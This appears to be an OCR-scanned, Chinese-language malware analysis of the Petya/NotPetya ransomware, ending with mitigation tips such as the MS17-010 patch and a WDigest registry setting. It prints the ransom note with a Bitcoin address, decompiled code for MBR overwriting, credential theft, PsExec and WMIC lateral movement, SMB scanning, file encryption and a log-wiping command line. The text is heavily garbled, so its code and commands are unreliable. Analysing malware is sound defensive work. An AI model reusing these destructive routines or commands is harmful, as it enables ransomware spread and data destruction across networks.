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MBR

Ooops, your important files are encrypted.

If you =see this text, then your files are no longer accessible, because they
have been encrypted. Perhaps you are busy looking for a way to recover your
files, but don’t waste your time. MNobody can recover your files without our
decryption service.

He guarantee that you can recover all your files safely and easily. All you
need to do i= submit the payment and purchase the decryption key.

Please follow the instructions:
1. Send $3088@ worth of Bitcoin to following address:

1Mz7153HMuxXTuR2R1t78mMGSdzaAtNbBUX

Send your Bitcoin wallet ID and personal installation key to e-mail
WoWEMithl123456@posteo. net. Your persomal installation key:

HUXFXP-aaMbGC-NMS fFM-zRUgkZ-XR59fz-PFYuzBH-UJRMZ6-f1Ju3S3-YUc7Md-1dTUAS

If you already purchased your key, please enter it below.
Key:

perfc.dat DLL
dil “ perfc_1"



SeShutDownPrivilege,SeDebugPrivilege,SeTcbPrivilege



WUBHYS5ISH >1 pusn PLX
008A953E FF75 FC push dword ptr [ebp-4] 3
BB8AS53E 50 push eax
BBBAY53F FF75 F8 push dword ptr [ebp-8]
FF15 BCD18AA |call dword ptr [8AD1BC] kernel32 WriteFile
BABAY5LE FF75 F4 push dword ptr [ebp-C]
088A95LE| 56 push esi
BOBAYSLE FFD? call edi
BB8AYSLE 58 push eax
BABAYSLF FF15 D4D18AGE | gall dword ptr [8AD1DY4] ntdll.Rt1FreeHeap
BBBASSS FF75 F8 push dword ptr [ebp-8]
BB8A55E FF15 A8BD18AGO | call dword ptr [8AD1AB] kernel32.CloseHandle
BB8APSSE 53 push ebx
008AYSSF FF15 BCDOBROD | gall dword ptr [SADBEBC] kernel32.DeleteFileW
008AY565 A3 BCF18BAO nov dword ptr [8BF18C], eax
008AY56R E8 FBFDFFFF call 008A9367
008AY56F 85ce eax, eax
0e8ASS71 |, 74 11 short OOBA9584
008n9573| FF75 14 duord ptr [ebp+14]
008n9576| FF75 1@ duord ptr [ebp+18]
008A9579| FF75 6C duord ptr [ebp+C]
Lneonciel FPYC 08 e flirpye ok Fobhneod :
e S L FA R ge B |
4 BBBAGS8YL| 56 i e
;1 0080D1BC]=7FCR10E17 (kerneld2, WriteFile)
= FFFFFFFF OOOF67FS | @0 00 00 OO 00 00 GO OO OO0 OO OO OO0 OO0 GO 60 00 .. ._........ CLEIGIRE] FFFFFFFF || hFile
= DOOFG7FE HOOFAE6S | A0 O 60 OO B0 OO 6O A0 0@ 68 3 BAB6AC1Y| BBAFG67F8 || Buffer
ToWrite = 58778 (36236 B00F65818| 80 PR 60 OO B0 60 60 60 0@ 68 BB0B6AC18| BBA58778 || nBytes
Written = 0006AC30 BAOFAE28 | A0 B 60 OO B0 00 6O A0 0@ 66 BB086ACAC| BBAGAC3E|| pBytes
apped = NHULL HOBFOS35| A0 00 00 B0 90 G0 6O 08 OO 68 B006AC2Z0| B00BARER LpOverl
PE™ HOBFOEL4E| A0 B0 00 B0 B0 G0 6O 08 OO 68 BOB6AC2ZL| BOBYE150 ASCII ™
HOBFAE58| A0 B0 00 B0 90 6P 6O A9 6O A8 HABGAC28| BBOFG7FR
HOBFAEGS | A0 B0 00 B0 B0 G0 GO A0 OO0 OO OO0 90 60 GG @8 66| ........... B@86AC2C| FFFFFFFF
HOBFAE7S| A0 B0 00 B0 B0 G0 GO A0 OO0 OO 00 90 60 GG @8 66| ........... HOBGACIH| BBA5E77H
HOBFAE85| A0 B0 00 B0 B0 G0 GO A0 OO0 OO 00 90 60 6@ @0 66| ........... BABGACIL| BBBGACHR
Aoncas0s AR AR AR AR A AR AA AR AR A0 G A0 O AR A0 GR) AGIR 2

3. c MBR

€D SeDebugPrivilege 10 (521*10 )
C 10

vl = CreateFileA{""\\\%.A\AC:", Bx40000000u, 3u, 8, 3u, 6, 68);
if § ve )

if ( DeviceloControl{v@, IOCTL_DISK_GET_DRIVE_GEOMETRY, @8, 8, &0utBuffer, 24u, &BytesReturned, @) )

{
vl = LocalAlloc{®, 18 = OutBuffer.BytesPerSector);
if { vl )

SetFilePointer{vd, DutBuffer.BytesPerSector, 8, 8);
WriteFile{vB, v1, OutBuffer.BytesPerSector, &BytesReturned, @);

eHandle. vB Clos

) MBR



®

©)

resnlt =
MBR
if ( vi9 )
{
do
{
result = write_disk{u28, &FileHame,
if ( result € 8 )
break;
++u2i;

uld += Bx2080;

H
while { v28 € vi19 );
¥
H
else

{

result = Bx800700857;

H
dword_1881F8F8 = result;
if ( result >= 8 )
4
result =
dword_1881F8F8 = result;
if ( result >= @)
{
result =
dword_1881F8F8 = result;
if { result >= 8 )
{
result =
goto LABEL_S5A;

H

MBR

read diski&EileMane. Ru253- sy SFEUwRRdCiR .

_DWORD = v3
us _DUWORD = u3
u3
uh
ul
vt
us
us
result

qmemcpy; mbr data
uh

mbr_data ub
uh

uh

(LPCUOID)uL13);// ZHMBR, BE{Z B2,

write disk(32, &FileMame, &Buffer);// HAFTHEEA{ZE.

write_disk(32, &FileMame, &u21);// 1E 77 007

write_disk{34, &FileName, &mbr_data);// [EMHBR

u2s

_DUORD * vu3



aoooooooo  FA 31 <O SE DS
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Ooo004460 | 74 OF 57 37 E3
000004470 DT 07 86 C6 O7F
000004450 59 5D 61 SF C4
ooooo4490  FO 66 C4 07 07
CICeTTT A A A, [miarl il [l [miarl il
4.
€y
Lsass Windows
64

= FindResourceW{hself, (LPCUSTR){(
if
= sub_100885D6(& . (int)
else
= 8;
if )

if ( GetTempPathW{B8x208u, & )

if { GetTempFileNameW({& .
{

.Datal
*{_ DWORD =)&
*{_ DWORD =)&
*( DUWORD =*)&
if { CoCreateGuid{®
{

= 8;
.Dataz =
.Dataxu[ 8]
.Datau[4]

)y >

a;
if { StringFromCLSID (& .

{
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[alsl]

&
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&

if ( sub_188873AE({const WCHAR

.hProcess

L™%AAN

DO §E ©O 8D 26 00 7C FBE 66 BS uliZe@ipiine |df,
93 7C 66 BE 01 00 OO 00 B9 00 E 1
66 83 F8 00 75 FS 66 A1 00 80 €& fHEfs udf; €
EE FD 66 50 66 31 CO 52 56 57 & € GE¥EPE1ARVY
§6 50 66 53 06 51 6k O1 64 10 £PE3%GEPES QJ j
B4 42 CD 13 89 FC 66 5B 66 58 %zf ™| Bl Sif[fX
13 58 EB D6 66 83 C3 01 66 83 s Poal xeOffi £f
73 07 S8C Cz 80 Cg 10 BE Cz S5F b OA = EAEE ZL
B4 OE AC 3C 00 74 04 CD 10 EB “Zf¥i " -< t I &
00 00 00 00 00 00 OO 00 00 00 :al

nmonn nmn an oo oo nn onnonon nn

D7 89 C7 84 21 07 7B FC 61 BF | [eCsbs=%C3! {uac
94 7B 61 BC 06 07 07 07 BE 07 ' O “{ak %
61 §¢ FF 07 72 F2 61 A6 07 57 $i ada.¥ roa) %
EC FA 61 57 61 36 C7 55 51 50 i # A4idalasgUgPp
61 57 61 54 01 56 6D 06 6D 17 aWaTizaWaT Vm m
B3 45 CA 14 8E FB 61 5C 651 5F &0 “{?EE Eda‘a_
14 5F EC D1 &1 54 C4 06 61 54 t W7aE iffa.i a.
74 00 8B C5 87 C1 17 89 C5 58 = t& t© ci#h %A%
B3 09 AB 3B 07 73 03 CA 17 EC ¥la dg? «; s E i
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1 2 Minikit MiNikit
1 32 2

32 64

t=8) + 1), (LPCUSTR)@=A);

» V33

& )

}y »=8)

*) » & , ) )
SAhpipeviZus, ¥

sub_1808073FD, & ., 8, 8);

-hThread = 8;

.dwProcessId =
.duThreadId

usprint (& R
= CreateThread(8,
if ¢ )]
{
menset (& , 8, Bz4hu);
= 8;
= 68;
wsprintfU{&

if { CreateProcessW(

. L™\"%us\" Jus”, & ,



(@) ID 3 Windows dllhost.dat
PsExec.exe exe bat vbs



v? = CredEnumerateW{d, A, &ui3d, &ui2);
if { w9 )
{
vl = B;
vig = B8;
if ( v12 > B )
{
while { 1 )
{
u2 = ui2 + 4 = ui;
v3 = ={ DWORD =*}u2;
vy = ={char ==x){=( DWORD =)u2 + 8);
if { uh )
{
vi1 = 8;

uS = L"TERHSRU/";

uh = ={const wchar_t ==)(=x{ DWORD =}ju2 + 8);
while { *=uf == =y5 )

1

++U6 ;

t1;

if ( CetSystembirectoryl(&Buffer, Ox30Cu) && PathAppendW(&Buffer, L"shutdoun.exe /v /") )
{
if  sub_10088494() )
{
Ul = L"/RU \"SYSTEHN" "3
if { *(token_mask & &) )
vl = (const wchar_t =)&unk_10814388;

wsprintfU{&vi, L"schtasks %us/Create /SC once ATH W'\ TR \"%us\" /ST %02d:%02d", vk, &Buffer, ui,

H

else

{
wsnrintFUFRuhA . 1 "at ZA2d 2824 %us" 0 09 RRnFfary-

sub_188883BD{ (int

uZy;



18087E84 loc_18807E8Y: ; CODE XREF: perfc_1+8D7j

10007E84 call schTasks_Shutdown

10867E89 mau ebx, ds:CreateThread

18807E8F push edi ; 1pThreadId
18867E740 push edi ; duCreationFlags
18887E91 push edi : 1pParameter
18807E22 push offsety HetScan 1pStartAddress
18887E97 push edi ; dwStackSize
10087E98 push edi ; 1pThreadattributes
10087E99 call ebx ; CreateThread

18087E98 test byte ptr g_PrivilegeFlag, 2

o = My
v? = socket{2, 1, 8);
if (w2 )

{

name.sa_family = 2;
*#( DWORD =)&name.sa_data[2] = ai;
#( WORD =)&name.sa_data[@] = htons{hostshort});
if { ioctlsocket{v?, -2147195266, &argp) *= -1 )
{

connect{vz, &name, 16);

writefds.fd_array[8] = vZ;

yritefds.fd_count = 1;

timeout.tu_sec = 2;

timeout.tu_usec = @;

if { select{u?z + 1, @, &uritefds, 8, &timeout) %= -1 )

{

if { WSAFDIsSet{v?, &uritefds) }
ug = 1;

e

e

closesocket{uv?);

vd = NEtSeruerEnuﬁ(B, #x65u, &bufptr, BxFFFFFFFF, &entriesread, &totalentries, servertype, domain, &resume_handle});
if ( v3 && v3 t= 234 )
1
domaina = 8;
H
else
{
domaina = (LPCUSTR}1;
if { tbufptr )
return domainaj
vl = B;
if { entriesread > 8 )

us = bufptr + u;
do
{
if ( uS == (LPBYTE)%4 )
break;
if { *=((_DWORD *)uS + 3) & Bx8AAAAAAA )
{
ServerScan(al, 3u, =(LPCWSTR =)us});

H
else if ( =({ DVORD #)uS - 1) == 500 && (*({ DWORD *)u5 + 1) & BxFu) > 4 )
{
memset_@{*x(char =*)us, 8);
H
uS += 24;
+ryul;

DhcpEnumSubnets DHCP IP
139 445 DhcpEnumSubnets() DHCP



if ( !DhcpGetSubnetInfo{@®, Enuninfo-»Elements[uvi1], &SubnetInfo)
&& SubnebInfo->SubnetState == DhcpSubnetEnabled
&& *DhcpEnumSubnetClients{@8, EnumIinfo->Elements[uvi1], &u18, Bx18888u, &ClientInfo, &ClientsRead, &ClientsTotal) )
{
w3 = ClientInfo->MumElements;
vild = v3;
if ( vl B& u2 < ud )
{
do
{

uwhi = ClientInfo->Clients[v2];
if ( va )

v5 = ntohl{vi->ClientIpAddress);
if sub_1800A3D9{v5) )

-

uvh
u7
v
ue
if
{
sub_10886FC7(vs, 8, al);
u1l = GetProcessHeap();
HeapFree{u18, @, v9);
H
H
H
w2z = vzl + 1;
uz23 = u2;

ntohl{vi->ClientIpAddress);
inet_ntoa{{struct in_addr)vé);
{char =)sub_108086916(u7);

ve;

ug )

e~

while { v2 < vié );

¥
DhcpRpeFreeMemory(ClientInfo);

v? = socket{2, 1, 8);
if [ u2 )
1
name.sa_family = 2;
*{ DUORD =)&name.sa_data[2] = al;
®={ WORD =})&name.sa_data[@8] = htons{hostshort};
if ( ioctlsocket(u2, Bx8084667E, &argp) t= -1 )
{
connect{v?, &name, 16);
writefds . fd_array[8] = vZ;
writefds.fd_count = 1;
timeout . .tv_sec = 2;
timeout.tu_usec = B;
if { select{v? + 1, 8, &uritefds, B, &timeout) *= -1 )
{
if  VWSAFDIsSet{vZ, &uritefds) )
ug = 1;
b
¥

closesocket(uv2);

WM

1 WMI
admin$ admin$
Token
Windows (WMIC)



wsprintfW{&Hame, L™\\\\%syiadming™, a3);

HetResource . dwScope = 8;

memset{&HetResource .duType, 8, BX1Cu);

HetResource . lpRemoteMame = &Hame ;

HetResource.dwType = 1;

sub_18888B78{&u23);

wsprintfW(&FileHame, L™\\\\Ews\iadmin$\\%ws™, a3, &u23);

while { 1)

{ /1 EAZEF adnins HRE T
pszPath = 8;
hExistingToken = (HANDLE)WNetAddConnection2W({&HetResource, lpPassword, lplserHame, 8);
wsprintfu{&pszPath, L™\\\Whusyhvadmindy\%ws™, a3, &u23);
vh = PathFindExtensionW{&pszPath);

if ( vy )
{
x4y = B8;
if { PathFileExistsW(&pszPath) )
{
ul2 = 1;
goto LABEL_58;
H
dwErrCode = GetLastError();
H
vs = B;

if { WriteFile B{&FileMame, g_ProcessFileBuff, 1u, vi6, vil) )

if ( tduErrcode )

buildGnd{(WCHAR =)&cndline, (WCHAR =)&u29, ad);// -d C:\iWindows\\System32\\rundl1l32.exe \"G:\\Windows\\%s\",#1 %s \\\\%s -accepteula -s
us o= 8;

i
if { duErrCode == 1)
{
if ( tlpUserNHame || tlpPassuord )
goto LABEL_53;
buildRemoteLogin{ (WCHAR =)&cmdline, (WCHAR *)&u29, a3, (int)lpUserHame, (int)lpPassword);
us = 8;
i
if ( v29 == u5
|| cndline == u5

|1 (*ExitCode ? {uB = CreateProcessu{ £/ wbem\\umic.exe /snode:z\"%us\" Fuser:\"%uws\" /password:\"%ws\" process call create \"C:\\Windows\\Sys

(LPCHSTR)&cndline,
(LPUSTR)&u29,

8,

8,

8,

0x8006080u,

o,

o,

(struct _STARTUPINFOW ){(char *)&Startupinfo + 8),

{struct _PROCESS_INFORMATION *)({char =)&Processinformation + 8))) : (u8 = CreateProcessAsUserW{(HANDLE)ExitCode, (LPCWS

TE) )
{
GetLastError();
goto LABEL_51;

wannacry
;;‘;_;;E;;BhBSH?EE(int)&Dst, cp, 445u, @, a?, a3, ah4, a5, a6, a’);
if (w7 )

sub_18002068();
result = v7;

¥

else

{
byte 1861F8FD = 0;
u9 = sub_18BB5AFE((int)&Dst, cp, 445u, (int)sub_18@801F74, a?, a3, au, a5, a6, af);
sub _18802068();
result = v9;



*(_BYTE =){vi + 8) = 3
*=( BYTE =){vi + 48) =

ld

*(_
*{_
*{_
w{_
-x-(_
-x-(_
-x-(_
-x-(_
-x-(_
={_
w{_

us
do
{

DWORD =){u3d
DWORD =){u3d
DWORD =){u3d
DWORD =){u3d
DWORD =){u3d
DUWORD *){u3
DUWORD *){u3
DUWORD *){u3
DUWORD *){u3
DUWORD *){u3
DWORD =){u3d
DWORD =){u3d
=ﬂ;

¢ noTeE. - -

P R

Srshellcode |

3;
1608) = -3145552;
164) = -1;
168) = -3145552;
172) = -1;
192) = -2101056;

196) = -210810856;
396) = -2108848;
484) = -2188752;
472) = -3145232;

476) = -1;

488) = -3145216;

592) = -1;

RSA+AES

. A= A

P L

RSA



10.

result = (signed int)LocalAlloc{@x4Bu, Bx28u);
if ( result )
{

*({_DWORD =)(result + 16) = L"MIIBCQKCAQEAXP/UqKcByLe?JhUqFHOGuUITOGMpXUNKSHNOAYTB065CH 8P jINInTeHkXE]FO2n2JmURWY/u™
“HBBZr10/wcYJBwLh(PEqJ3iDgnN19007NtyEUmbYnopcq+YLIBZz02ZTKBAZDLXAGRKXEEFLCY7uP12EYD""
"PXknUy/+mfBJFWixz290iTF50Lu15wULONCUEibGaNNpgq+CXsPuFITDbDDmdrRIIUEUwS 03pt5pHOSkFO"
"JbHan2TZubzfhzuts7KafPSUASS BHMFSK3/FOMFISEGBEZ jK+cIiF1KeWndP BXFRCYNXIPAJYCeaOu7 CEF 6"
"UBAVHNHjuLeOn42LHFUKY06 JuIDAQAB" ;

*(_DUORD =){result + 28) = B;

*{ DWORD *)result = ={ DWORD *)RootPathMName;

*{ DUORD *)({result + u) =

result = (signed int)CreateThread(®, @, EncrypteAndShowInfo Thread, (LPUDID)result, @, 08);

vk = L"Hicrosoft Enhanced RSA and AES Cryptographic Provider";
¥
if { f*CryptAcquireContextW{{HCRYPTPROU =)}lpThreadParameter + 2, @, ul, @x18u, uS}) }
goto LABEL_18;
ABEL_7:
u2 = 1pThreadParameter;
if { sub_18@@1BAE{{int)lpThreadParameter}) }
{
FileSearchAndEncryted{ {LPCWSTR)1pThreadParameter, 1%, (int)lpThreadParameter);
Gen_TipInfo{(LPCUSTR)1lpThreadParameter);
CryptDestroykey(*{{_DWORD *)}1lpThreadParameter + 5));
b
CryptReleaseContext{(={{_DWORD =)}1pThreadParameter + 2}, 8);
ABEL_11:
LocalFree{u2);

C:\\Windows
"C:\\Windows;",

.
if ( wescmp(FindFileData.cFileName, L™.”
&& wescmp(FindFilebata.cFileName, L™..")
&& PathCombineW({&FileMame, pszDir, FindFileData.cFileMame) )

if ( *(FindFileData.dwFilepttributes & O8x18) || FindFileData.dwFileAttributes & Ox408 )
{

u5s = (struct _WIN32_FIND_DATAW =)PathFindExtensionW(FindFileData.cFileName);

if ( (WCHAR =)uS t= &FindFileData.cFileName[wcslen{FindFileData.cFileName}] )

—Far. l I . nrg ora.ost.ova.ovf.pdf. pﬁ
u. unrk xls xlsx xud zip.’ ql tar vbox. Uhs Uch vdi.vfd.vnc.vndk.vnsd.vnx.usdx.us
LEIS)
{
EncryptFile{&FileName, a3);
i L) =g v Etic) , }
H
else if ( ¢ (LEEERSWindowss™ | &FileMane) )
{ S b .
'IdOWSET_RL FileSearchAndEncryted{&FileName, a2 — 1, a3); TZ\Ii"fEW”
H
H
H
while (hFindFile, &FindFileData) );
fhEindFilal-
R o s
usprintfil
Bu13,
L weututil cl Setup & wewtutil cl System & weututil cl Security & wevtutil cl Application & fsutil usn deletejournal /D %c:",
pszPath);
uly = @;

sub_188883BD{{int)&u13, 3);



1 Windows MS17-010
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
2 WMI Windows Management Instrumentation

services.msc
Windows Management Instrumentation

L EEEE)
Windows Management £ a
Instrumentation Q;Windows Font Cache Service
J——— Q;Windows Image Acquisition (WIA)
SRS EhWindows Installer
FIEO) v XN
teEM) R G
EHENE) e S A" .

liFs{ESK) >
R (F)

WMI

3 Minikit

regedit

HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/SecurityProviders/WDigest/U
seLogonCredential 0

e e e wre P e wE e s w e w ]

.ab|UseLogonCredential REG SZ 0



https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

1 Petya

TCP_NSA_EternalBlue_( )_SMB [MS17-010]



